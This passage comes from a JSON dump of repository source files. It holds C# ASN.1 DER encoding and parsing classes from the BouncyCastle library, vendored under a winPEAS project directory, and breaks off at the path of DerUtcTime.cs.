   {\n            int byteCount = (fieldValue.BitLength + 6) / 7;\n            if (byteCount == 0)\n            {\n                outputStream.WriteByte(0);\n            }\n            else\n            {\n                BigInteger tmpValue = fieldValue;\n                byte[] tmp = new byte[byteCount];\n                for (int i = byteCount - 1; i >= 0; i--)\n                {\n                    tmp[i] = (byte)((tmpValue.IntValue & 0x7f) | 0x80);\n                    tmpValue = tmpValue.ShiftRight(7);\n                }\n                tmp[byteCount - 1] &= 0x7f;\n                outputStream.Write(tmp, 0, tmp.Length);\n            }\n        }\n\n        private void DoOutput(MemoryStream bOut)\n        {\n            OidTokenizer tok = new OidTokenizer(identifier);\n\n            string token = tok.NextToken();\n            int first = int.Parse(token) * 40;\n\n            token = tok.NextToken();\n            if (token.Length <= 18)\n            {\n                WriteField(bOut, first + Int64.Parse(token));\n            }\n            else\n            {\n                WriteField(bOut, new BigInteger(token).Add(BigInteger.ValueOf(first)));\n            }\n\n            while (tok.HasMoreTokens)\n            {\n                token = tok.NextToken();\n                if (token.Length <= 18)\n                {\n                    WriteField(bOut, Int64.Parse(token));\n                }\n                else\n                {\n                    WriteField(bOut, new BigInteger(token));\n                }\n            }\n        }\n\n        internal byte[] GetBody()\n        {\n            lock (this)\n            {\n                if (body == null)\n                {\n                    MemoryStream bOut = new MemoryStream();\n                    DoOutput(bOut);\n                    body = bOut.ToArray();\n                }\n            }\n\n            return body;\n        }\n\n        internal override void Encode(\n            DerOutputStream derOut)\n        {\n            derOut.WriteEncoded(Asn1Tags.ObjectIdentifier, GetBody());\n        }\n\n        protected override int Asn1GetHashCode()\n        {\n            return identifier.GetHashCode();\n        }\n\n        protected override bool Asn1Equals(\n            Asn1Object asn1Object)\n        {\n            DerObjectIdentifier other = asn1Object as DerObjectIdentifier;\n\n            if (other == null)\n                return false;\n\n            return this.identifier.Equals(other.identifier);\n        }\n\n        public override string ToString()\n        {\n            return identifier;\n        }\n\n        private static bool IsValidBranchID(string branchID, int start)\n        {\n            int digitCount = 0;\n\n            int pos = branchID.Length;\n            while (--pos >= start)\n            {\n                char ch = branchID[pos];\n\n                if (ch == '.')\n                {\n                    if (0 == digitCount || (digitCount > 1 && branchID[pos + 1] == '0'))\n                        return false;\n\n                    digitCount = 0;\n                }\n                else if ('0' <= ch && ch <= '9')\n                {\n                    ++digitCount;\n                }\n                else\n                {\n                    return false;\n                }\n            }\n\n            if (0 == digitCount || (digitCount > 1 && branchID[pos + 1] == '0'))\n                return false;\n\n            return true;\n        }\n\n        private static bool IsValidIdentifier(string identifier)\n        {\n            if (identifier.Length < 3 || identifier[1] != '.')\n                return false;\n\n            char first = identifier[0];\n            if (first < '0' || first > '2')\n                return false;\n\n            return IsValidBranchID(identifier, 2);\n        }\n\n        private const long LONG_LIMIT = (long.MaxValue >> 7) - 0x7f;\n\n        private static string MakeOidStringFromBytes(\n            byte[] bytes)\n        {\n            StringBuilder objId = new StringBuilder();\n            long value = 0;\n            BigInteger bigValue = null;\n            bool first = true;\n\n            for (int i = 0; i != bytes.Length; i++)\n            {\n                int b = bytes[i];\n\n                if (value <= LONG_LIMIT)\n                {\n                    value += (b & 0x7f);\n                    if ((b & 0x80) == 0)             // end of number reached\n                    {\n                        if (first)\n                        {\n                            if (value < 40)\n                            {\n                                objId.Append('0');\n                            }\n                            else if (value < 80)\n                            {\n                                objId.Append('1');\n                                value -= 40;\n                            }\n                            else\n                            {\n                                objId.Append('2');\n                                value -= 80;\n                            }\n                            first = false;\n                        }\n\n                        objId.Append('.');\n                        objId.Append(value);\n                        value = 0;\n                    }\n                    else\n                    {\n                        value <<= 7;\n                    }\n                }\n                else\n                {\n                    if (bigValue == null)\n                    {\n                        bigValue = BigInteger.ValueOf(value);\n                    }\n                    bigValue = bigValue.Or(BigInteger.ValueOf(b & 0x7f));\n                    if ((b & 0x80) == 0)\n                    {\n                        if (first)\n                        {\n                            objId.Append('2');\n                            bigValue = bigValue.Subtract(BigInteger.ValueOf(80));\n                            first = false;\n                        }\n\n                        objId.Append('.');\n                        objId.Append(bigValue);\n                        bigValue = null;\n                        value = 0;\n                    }\n                    else\n                    {\n                        bigValue = bigValue.ShiftLeft(7);\n                    }\n                }\n            }\n\n            return objId.ToString();\n        }\n\n        private static readonly DerObjectIdentifier[] cache = new DerObjectIdentifier[1024];\n\n        internal static DerObjectIdentifier FromOctetString(byte[] enc)\n        {\n            int hashCode = Arrays.GetHashCode(enc);\n            int first = hashCode & 1023;\n\n            lock (cache)\n            {\n                DerObjectIdentifier entry = cache[first];\n                if (entry != null && Arrays.AreEqual(enc, entry.GetBody()))\n                {\n                    return entry;\n                }\n\n                return cache[first] = new DerObjectIdentifier(enc);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerOctetString.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    public class DerOctetString\n       : Asn1OctetString\n    {\n        /// <param name=\"str\">The octets making up the octet string.</param>\n        public DerOctetString(\n            byte[] str)\n            : base(str)\n        {\n        }\n\n        public DerOctetString(IAsn1Convertible obj)\n            : this(obj.ToAsn1Object())\n        {\n        }\n\n        public DerOctetString(Asn1Encodable obj)\n            : base(obj.GetEncoded(Asn1Encodable.Der))\n        {\n        }\n\n        internal override void Encode(\n            DerOutputStream derOut)\n        {\n            derOut.WriteEncoded(Asn1Tags.OctetString, str);\n        }\n\n        internal static void Encode(\n            DerOutputStream derOut,\n            byte[] bytes,\n            int offset,\n            int length)\n        {\n            derOut.WriteEncoded(Asn1Tags.OctetString, bytes, offset, length);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerOctetStringParser.cs",
    "content": "﻿using System;\nusing System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic class DerOctetStringParser\n\t : Asn1OctetStringParser\n\t{\n\t\tprivate readonly DefiniteLengthInputStream stream;\n\n\t\tinternal DerOctetStringParser(\n\t\t\tDefiniteLengthInputStream stream)\n\t\t{\n\t\t\tthis.stream = stream;\n\t\t}\n\n\t\tpublic Stream GetOctetStream()\n\t\t{\n\t\t\treturn stream;\n\t\t}\n\n\t\tpublic Asn1Object ToAsn1Object()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\treturn new DerOctetString(stream.ToArray());\n\t\t\t}\n\t\t\tcatch (IOException e)\n\t\t\t{\n\t\t\t\tthrow new InvalidOperationException(\"IOException converting stream to byte array: \" + e.Message, e);\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerOutputStream.cs",
    "content": "﻿using System;\nusing System.IO;\nusing winPEAS._3rdParty.BouncyCastle.asn1.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic class DerOutputStream\n\t : FilterStream\n\t{\n\t\tpublic DerOutputStream(Stream os)\n\t\t\t: base(os)\n\t\t{\n\t\t}\n\n\t\tprivate void WriteLength(\n\t\t\tint length)\n\t\t{\n\t\t\tif (length > 127)\n\t\t\t{\n\t\t\t\tint size = 1;\n\t\t\t\tuint val = (uint)length;\n\n\t\t\t\twhile ((val >>= 8) != 0)\n\t\t\t\t{\n\t\t\t\t\tsize++;\n\t\t\t\t}\n\n\t\t\t\tWriteByte((byte)(size | 0x80));\n\n\t\t\t\tfor (int i = (size - 1) * 8; i >= 0; i -= 8)\n\t\t\t\t{\n\t\t\t\t\tWriteByte((byte)(length >> i));\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tWriteByte((byte)length);\n\t\t\t}\n\t\t}\n\n\t\tinternal void WriteEncoded(\n\t\t\tint tag,\n\t\t\tbyte[] bytes)\n\t\t{\n\t\t\tWriteByte((byte)tag);\n\t\t\tWriteLength(bytes.Length);\n\t\t\tWrite(bytes, 0, bytes.Length);\n\t\t}\n\n\t\tinternal void WriteEncoded(\n\t\t\tint tag,\n\t\t\tbyte first,\n\t\t\tbyte[] bytes)\n\t\t{\n\t\t\tWriteByte((byte)tag);\n\t\t\tWriteLength(bytes.Length + 1);\n\t\t\tWriteByte(first);\n\t\t\tWrite(bytes, 0, bytes.Length);\n\t\t}\n\n\t\tinternal void WriteEncoded(\n\t\t\tint tag,\n\t\t\tbyte[] bytes,\n\t\t\tint offset,\n\t\t\tint length)\n\t\t{\n\t\t\tWriteByte((byte)tag);\n\t\t\tWriteLength(length);\n\t\t\tWrite(bytes, offset, length);\n\t\t}\n\n\t\tinternal void WriteTag(\n\t\t\tint flags,\n\t\t\tint tagNo)\n\t\t{\n\t\t\tif (tagNo < 31)\n\t\t\t{\n\t\t\t\tWriteByte((byte)(flags | tagNo));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tWriteByte((byte)(flags | 0x1f));\n\t\t\t\tif (tagNo < 128)\n\t\t\t\t{\n\t\t\t\t\tWriteByte((byte)tagNo);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tbyte[] stack = new byte[5];\n\t\t\t\t\tint pos = stack.Length;\n\n\t\t\t\t\tstack[--pos] = (byte)(tagNo & 0x7F);\n\n\t\t\t\t\tdo\n\t\t\t\t\t{\n\t\t\t\t\t\ttagNo >>= 7;\n\t\t\t\t\t\tstack[--pos] = (byte)(tagNo & 0x7F | 0x80);\n\t\t\t\t\t}\n\t\t\t\t\twhile (tagNo > 127);\n\n\t\t\t\t\tWrite(stack, pos, stack.Length - pos);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tinternal void WriteEncoded(\n\t\t\tint flags,\n\t\t\tint tagNo,\n\t\t\tbyte[] bytes)\n\t\t{\n\t\t\tWriteTag(flags, tagNo);\n\t\t\tWriteLength(bytes.Length);\n\t\t\tWrite(bytes, 0, bytes.Length);\n\t\t}\n\n\t\tprotected void WriteNull()\n\t\t{\n\t\t\tWriteByte(Asn1Tags.Null);\n\t\t\tWriteByte(0x00);\n\t\t}\n\n\t\t[Obsolete(\"Use version taking an Asn1Encodable arg instead\")]\n\t\tpublic virtual void WriteObject(\n\t\t\tobject obj)\n\t\t{\n\t\t\tif (obj == null)\n\t\t\t{\n\t\t\t\tWriteNull();\n\t\t\t}\n\t\t\telse if (obj is Asn1Object)\n\t\t\t{\n\t\t\t\t((Asn1Object)obj).Encode(this);\n\t\t\t}\n\t\t\telse if (obj is Asn1Encodable)\n\t\t\t{\n\t\t\t\t((Asn1Encodable)obj).ToAsn1Object().Encode(this);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tthrow new IOException(\"object not Asn1Object\");\n\t\t\t}\n\t\t}\n\n\t\tpublic virtual void WriteObject(\n\t\t\tAsn1Encodable obj)\n\t\t{\n\t\t\tif (obj == null)\n\t\t\t{\n\t\t\t\tWriteNull();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tobj.ToAsn1Object().Encode(this);\n\t\t\t}\n\t\t}\n\n\t\tpublic virtual void WriteObject(\n\t\t\tAsn1Object obj)\n\t\t{\n\t\t\tif (obj == null)\n\t\t\t{\n\t\t\t\tWriteNull();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tobj.Encode(this);\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerPrintableString.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\t/**\n  * Der PrintableString object.\n  */\n\tpublic class DerPrintableString\n\t\t: DerStringBase\n\t{\n\t\tprivate readonly string str;\n\n\t\t/**\n         * return a printable string from the passed in object.\n         *\n         * @exception ArgumentException if the object cannot be converted.\n         */\n\t\tpublic static DerPrintableString GetInstance(\n\t\t\tobject obj)\n\t\t{\n\t\t\tif (obj == null || obj is DerPrintableString)\n\t\t\t{\n\t\t\t\treturn (DerPrintableString)obj;\n\t\t\t}\n\n\t\t\tthrow new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj));\n\t\t}\n\n\t\t/**\n         * return a Printable string from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicitly true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *               be converted.\n         */\n\t\tpublic static DerPrintableString GetInstance(\n\t\t\tAsn1TaggedObject obj,\n\t\t\tbool isExplicit)\n\t\t{\n\t\t\tAsn1Object o = obj.GetObject();\n\n\t\t\tif (isExplicit || o is DerPrintableString)\n\t\t\t{\n\t\t\t\treturn GetInstance(o);\n\t\t\t}\n\n\t\t\treturn new DerPrintableString(Asn1OctetString.GetInstance(o).GetOctets());\n\t\t}\n\n\t\t/**\n         * basic constructor - byte encoded string.\n         */\n\t\tpublic DerPrintableString(\n\t\t\tbyte[] str)\n\t\t\t: this(Strings.FromAsciiByteArray(str), false)\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t * basic constructor - this does not validate the string\n\t\t */\n\t\tpublic DerPrintableString(\n\t\t\tstring str)\n\t\t\t: this(str, false)\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t* Constructor with optional validation.\n\t\t*\n\t\t* @param string the base string to wrap.\n\t\t* @param validate whether or not to check the string.\n\t\t* @throws ArgumentException if validate is true and the string\n\t\t* contains characters that should not be in a PrintableString.\n\t\t*/\n\t\tpublic DerPrintableString(\n\t\t\tstring str,\n\t\t\tbool validate)\n\t\t{\n\t\t\tif (str == null)\n\t\t\t\tthrow new ArgumentNullException(\"str\");\n\t\t\tif (validate && !IsPrintableString(str))\n\t\t\t\tthrow new ArgumentException(\"string contains illegal characters\", \"str\");\n\n\t\t\tthis.str = str;\n\t\t}\n\n\t\tpublic override string GetString()\n\t\t{\n\t\t\treturn str;\n\t\t}\n\n\t\tpublic byte[] GetOctets()\n\t\t{\n\t\t\treturn Strings.ToAsciiByteArray(str);\n\t\t}\n\n\t\tinternal override void Encode(\n\t\t\tDerOutputStream derOut)\n\t\t{\n\t\t\tderOut.WriteEncoded(Asn1Tags.PrintableString, GetOctets());\n\t\t}\n\n\t\tprotected override bool Asn1Equals(\n\t\t\tAsn1Object asn1Object)\n\t\t{\n\t\t\tDerPrintableString other = asn1Object as DerPrintableString;\n\n\t\t\tif (other == null)\n\t\t\t\treturn false;\n\n\t\t\treturn this.str.Equals(other.str);\n\t\t}\n\n\t\t/**\n\t\t * return true if the passed in String can be represented without\n\t\t * loss as a PrintableString, false otherwise.\n\t\t *\n\t\t * @return true if in printable set, false otherwise.\n\t\t */\n\t\tpublic static bool IsPrintableString(\n\t\t\tstring str)\n\t\t{\n\t\t\tforeach (char ch in str)\n\t\t\t{\n\t\t\t\tif (ch > 0x007f)\n\t\t\t\t\treturn false;\n\n\t\t\t\tif (char.IsLetterOrDigit(ch))\n\t\t\t\t\tcontinue;\n\n\t\t\t\t//\t\t\t\tif (char.IsPunctuation(ch))\n\t\t\t\t//\t\t\t\t\tcontinue;\n\n\t\t\t\tswitch (ch)\n\t\t\t\t{\n\t\t\t\t\tcase ' ':\n\t\t\t\t\tcase '\\'':\n\t\t\t\t\tcase '(':\n\t\t\t\t\tcase ')':\n\t\t\t\t\tcase '+':\n\t\t\t\t\tcase '-':\n\t\t\t\t\tcase '.':\n\t\t\t\t\tcase ':':\n\t\t\t\t\tcase '=':\n\t\t\t\t\tcase '?':\n\t\t\t\t\tcase '/':\n\t\t\t\t\tcase ',':\n\t\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\treturn true;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerSequence.cs",
    "content": "﻿using System.IO;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic class DerSequence\n\t : Asn1Sequence\n\t{\n\t\tpublic static readonly DerSequence Empty = new DerSequence();\n\n\t\tpublic static DerSequence FromVector(Asn1EncodableVector elementVector)\n\t\t{\n\t\t\treturn elementVector.Count < 1 ? Empty : new DerSequence(elementVector);\n\t\t}\n\n\t\t/**\n\t\t * create an empty sequence\n\t\t */\n\t\tpublic DerSequence()\n\t\t\t: base()\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t * create a sequence containing one object\n\t\t */\n\t\tpublic DerSequence(Asn1Encodable element)\n\t\t\t: base(element)\n\t\t{\n\t\t}\n\n\t\tpublic DerSequence(params Asn1Encodable[] elements)\n\t\t\t: base(elements)\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t * create a sequence containing a vector of objects.\n\t\t */\n\t\tpublic DerSequence(Asn1EncodableVector elementVector)\n\t\t\t: base(elementVector)\n\t\t{\n\t\t}\n\n\t\t/*\n\t\t * A note on the implementation:\n\t\t * <p>\n\t\t * As Der requires the constructed, definite-length model to\n\t\t * be used for structured types, this varies slightly from the\n\t\t * ASN.1 descriptions given. Rather than just outputing Sequence,\n\t\t * we also have to specify Constructed, and the objects length.\n\t\t */\n\t\tinternal override void Encode(DerOutputStream derOut)\n\t\t{\n\t\t\t// TODO Intermediate buffer could be avoided if we could calculate expected length\n\t\t\tMemoryStream bOut = new MemoryStream();\n\t\t\tDerOutputStream dOut = new DerOutputStream(bOut);\n\n\t\t\tforeach (Asn1Encodable obj in this)\n\t\t\t{\n\t\t\t\tdOut.WriteObject(obj);\n\t\t\t}\n\n\t\t\tPlatform.Dispose(dOut);\n\n\t\t\tbyte[] bytes = bOut.ToArray();\n\n\t\t\tderOut.WriteEncoded(Asn1Tags.Sequence | Asn1Tags.Constructed, bytes);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerSequenceParser.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic class DerSequenceParser\n\t\t : Asn1SequenceParser\n\t{\n\t\tprivate readonly Asn1StreamParser _parser;\n\n\t\tinternal DerSequenceParser(\n\t\t\tAsn1StreamParser parser)\n\t\t{\n\t\t\tthis._parser = parser;\n\t\t}\n\n\t\tpublic IAsn1Convertible ReadObject()\n\t\t{\n\t\t\treturn _parser.ReadObject();\n\t\t}\n\n\t\tpublic Asn1Object ToAsn1Object()\n\t\t{\n\t\t\treturn new DerSequence(_parser.ReadVector());\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerSet.cs",
    "content": "﻿using System.IO;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\t/**\n\t   * A Der encoded set object\n\t   */\n\tpublic class DerSet\n\t\t: Asn1Set\n\t{\n\t\tpublic static readonly DerSet Empty = new DerSet();\n\n\t\tpublic static DerSet FromVector(Asn1EncodableVector elementVector)\n\t\t{\n\t\t\treturn elementVector.Count < 1 ? Empty : new DerSet(elementVector);\n\t\t}\n\n\t\tinternal static DerSet FromVector(Asn1EncodableVector elementVector, bool needsSorting)\n\t\t{\n\t\t\treturn elementVector.Count < 1 ? Empty : new DerSet(elementVector, needsSorting);\n\t\t}\n\n\t\t/**\n\t\t * create an empty set\n\t\t */\n\t\tpublic DerSet()\n\t\t\t: base()\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t * @param obj - a single object that makes up the set.\n\t\t */\n\t\tpublic DerSet(Asn1Encodable element)\n\t\t\t: base(element)\n\t\t{\n\t\t}\n\n\t\tpublic DerSet(params Asn1Encodable[] elements)\n\t\t\t: base(elements)\n\t\t{\n\t\t\tSort();\n\t\t}\n\n\t\t/**\n\t\t * @param v - a vector of objects making up the set.\n\t\t */\n\t\tpublic DerSet(Asn1EncodableVector elementVector)\n\t\t\t: this(elementVector, true)\n\t\t{\n\t\t}\n\n\t\tinternal DerSet(Asn1EncodableVector elementVector, bool needsSorting)\n\t\t\t: base(elementVector)\n\t\t{\n\t\t\tif (needsSorting)\n\t\t\t{\n\t\t\t\tSort();\n\t\t\t}\n\t\t}\n\n\t\t/*\n\t\t * A note on the implementation:\n\t\t * <p>\n\t\t * As Der requires the constructed, definite-length model to\n\t\t * be used for structured types, this varies slightly from the\n\t\t * ASN.1 descriptions given. Rather than just outputing Set,\n\t\t * we also have to specify Constructed, and the objects length.\n\t\t */\n\t\tinternal override void Encode(DerOutputStream derOut)\n\t\t{\n\t\t\t// TODO Intermediate buffer could be avoided if we could calculate expected length\n\t\t\tMemoryStream bOut = new MemoryStream();\n\t\t\tDerOutputStream dOut = new DerOutputStream(bOut);\n\n\t\t\tforeach (Asn1Encodable obj in this)\n\t\t\t{\n\t\t\t\tdOut.WriteObject(obj);\n\t\t\t}\n\n\t\t\tPlatform.Dispose(dOut);\n\n\t\t\tbyte[] bytes = bOut.ToArray();\n\n\t\t\tderOut.WriteEncoded(Asn1Tags.Set | Asn1Tags.Constructed, bytes);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerSetParser.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic class DerSetParser\n\t: Asn1SetParser\n\t{\n\t\tprivate readonly Asn1StreamParser _parser;\n\n\t\tinternal DerSetParser(\n\t\t\tAsn1StreamParser parser)\n\t\t{\n\t\t\tthis._parser = parser;\n\t\t}\n\n\t\tpublic IAsn1Convertible ReadObject()\n\t\t{\n\t\t\treturn _parser.ReadObject();\n\t\t}\n\n\t\tpublic Asn1Object ToAsn1Object()\n\t\t{\n\t\t\treturn new DerSet(_parser.ReadVector(), false);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerStringBase.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\tpublic abstract class DerStringBase\n\t\t: Asn1Object, IAsn1String\n\t{\n\t\tprotected DerStringBase()\n\t\t{\n\t\t}\n\n\t\tpublic abstract string GetString();\n\n\t\tpublic override string ToString()\n\t\t{\n\t\t\treturn GetString();\n\t\t}\n\n\t\tprotected override int Asn1GetHashCode()\n\t\t{\n\t\t\treturn GetString().GetHashCode();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerT61String.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    /**\n   * Der T61String (also the teletex string) - 8-bit characters\n   */\n    public class DerT61String\n        : DerStringBase\n    {\n        private readonly string str;\n\n        /**\n         * return a T61 string from the passed in object.\n         *\n         * @exception ArgumentException if the object cannot be converted.\n         */\n        public static DerT61String GetInstance(\n            object obj)\n        {\n            if (obj == null || obj is DerT61String)\n            {\n                return (DerT61String)obj;\n            }\n\n            throw new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj));\n        }\n\n        /**\n         * return an T61 string from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicitly true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *               be converted.\n         */\n        public static DerT61String GetInstance(\n            Asn1TaggedObject obj,\n            bool isExplicit)\n        {\n            Asn1Object o = obj.GetObject();\n\n            if (isExplicit || o is DerT61String)\n            {\n                return GetInstance(o);\n            }\n\n            return new DerT61String(Asn1OctetString.GetInstance(o).GetOctets());\n        }\n\n        /**\n         * basic constructor - with bytes.\n         */\n        public DerT61String(\n            byte[] str)\n            : this(Strings.FromByteArray(str))\n        {\n        }\n\n        /**\n         * basic constructor - with string.\n         */\n        public DerT61String(\n            string str)\n        {\n            if (str == null)\n                throw new ArgumentNullException(\"str\");\n\n            this.str = str;\n        }\n\n        public override string GetString()\n        {\n            return str;\n        }\n\n        internal override void Encode(\n            DerOutputStream derOut)\n        {\n            derOut.WriteEncoded(Asn1Tags.T61String, GetOctets());\n        }\n\n        public byte[] GetOctets()\n        {\n            return Strings.ToByteArray(str);\n        }\n\n        protected override bool Asn1Equals(\n            Asn1Object asn1Object)\n        {\n            DerT61String other = asn1Object as DerT61String;\n\n            if (other == null)\n                return false;\n\n            return this.str.Equals(other.str);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerTaggedObject.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n\t/**\n\t  * DER TaggedObject - in ASN.1 notation this is any object preceded by\n\t  * a [n] where n is some number - these are assumed to follow the construction\n\t  * rules (as with sequences).\n\t  */\n\tpublic class DerTaggedObject\n\t\t: Asn1TaggedObject\n\t{\n\t\t/**\n\t\t * @param tagNo the tag number for this object.\n\t\t * @param obj the tagged object.\n\t\t */\n\t\tpublic DerTaggedObject(\n\t\t\tint tagNo,\n\t\t\tAsn1Encodable obj)\n\t\t\t: base(tagNo, obj)\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t * @param explicitly true if an explicitly tagged object.\n\t\t * @param tagNo the tag number for this object.\n\t\t * @param obj the tagged object.\n\t\t */\n\t\tpublic DerTaggedObject(\n\t\t\tbool explicitly,\n\t\t\tint tagNo,\n\t\t\tAsn1Encodable obj)\n\t\t\t: base(explicitly, tagNo, obj)\n\t\t{\n\t\t}\n\n\t\t/**\n\t\t * create an implicitly tagged object that contains a zero\n\t\t * length sequence.\n\t\t */\n\t\tpublic DerTaggedObject(\n\t\t\tint tagNo)\n\t\t\t: base(false, tagNo, DerSequence.Empty)\n\t\t{\n\t\t}\n\n\t\tinternal override void Encode(\n\t\t\tDerOutputStream derOut)\n\t\t{\n\t\t\tif (!IsEmpty())\n\t\t\t{\n\t\t\t\tbyte[] bytes = obj.GetDerEncoded();\n\n\t\t\t\tif (explicitly)\n\t\t\t\t{\n\t\t\t\t\tderOut.WriteEncoded(Asn1Tags.Constructed | Asn1Tags.Tagged, tagNo, bytes);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t//\n\t\t\t\t\t// need to mark constructed types... (preserve Constructed tag)\n\t\t\t\t\t//\n\t\t\t\t\tint flags = (bytes[0] & Asn1Tags.Constructed) | Asn1Tags.Tagged;\n\t\t\t\t\tderOut.WriteTag(flags, tagNo);\n\t\t\t\t\tderOut.Write(bytes, 1, bytes.Length - 1);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tderOut.WriteEncoded(Asn1Tags.Constructed | Asn1Tags.Tagged, tagNo, new byte[0]);\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerUniversalString.cs",
    "content": "﻿using System;\nusing System.Text;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.asn1\n{\n    /**\n   * Der UniversalString object.\n   */\n    public class DerUniversalString\n        : DerStringBase\n    {\n        private static readonly char[] table = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' };\n\n        private readonly byte[] str;\n\n        /**\n         * return a Universal string from the passed in object.\n         *\n         * @exception ArgumentException if the object cannot be converted.\n         */\n        public static DerUniversalString GetInstance(\n            object obj)\n        {\n            if (obj == null || obj is DerUniversalString)\n            {\n                return (DerUniversalString)obj;\n            }\n\n            throw new ArgumentException(\"illegal object in GetInstance: \" + Platform.GetTypeName(obj));\n        }\n\n        /**\n         * return a Universal string from a tagged object.\n         *\n         * @param obj the tagged object holding the object we want\n         * @param explicitly true if the object is meant to be explicitly\n         *              tagged false otherwise.\n         * @exception ArgumentException if the tagged object cannot\n         *               be converted.\n         */\n        public static DerUniversalString GetInstance(\n            Asn1TaggedObject obj,\n            bool isExplicit)\n        {\n            Asn1Object o = obj.GetObject();\n\n            if (isExplicit || o is DerUniversalString)\n            {\n                return GetInstance(o);\n            }\n\n            return new DerUniversalString(Asn1OctetString.GetInstance(o).GetOctets());\n        }\n\n        /**\n         * basic constructor - byte encoded string.\n         */\n        public DerUniversalString(\n            byte[] str)\n        {\n            if (str == null)\n                throw new ArgumentNullException(\"str\");\n\n            this.str = str;\n        }\n\n        public override string GetString()\n        {\n            StringBuilder buffer = new StringBuilder(\"#\");\n            byte[] enc = GetDerEncoded();\n\n            for (int i = 0; i != enc.Length; i++)\n            {\n                uint ubyte = enc[i];\n                buffer.Append(table[(ubyte >> 4) & 0xf]);\n                buffer.Append(table[enc[i] & 0xf]);\n            }\n\n            return buffer.ToString();\n        }\n\n        public byte[] GetOctets()\n        {\n            return (byte[])str.Clone();\n        }\n\n        internal override void Encode(\n            DerOutputStream derOut)\n        {\n            derOut.WriteEncoded(Asn1Tags.UniversalString, this.str);\n        }\n\n        protected override bool Asn1Equals(\n            Asn1Object asn1Object)\n        {\n            DerUniversalString other = asn1Object as DerUniversalString;\n\n            if (other == null)\n                return false;\n\n            //\t\t\treturn this.GetString().Equals(other.GetString());\n            return Arrays.AreEqual(this.str, other.str);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerUtcTime.cs",
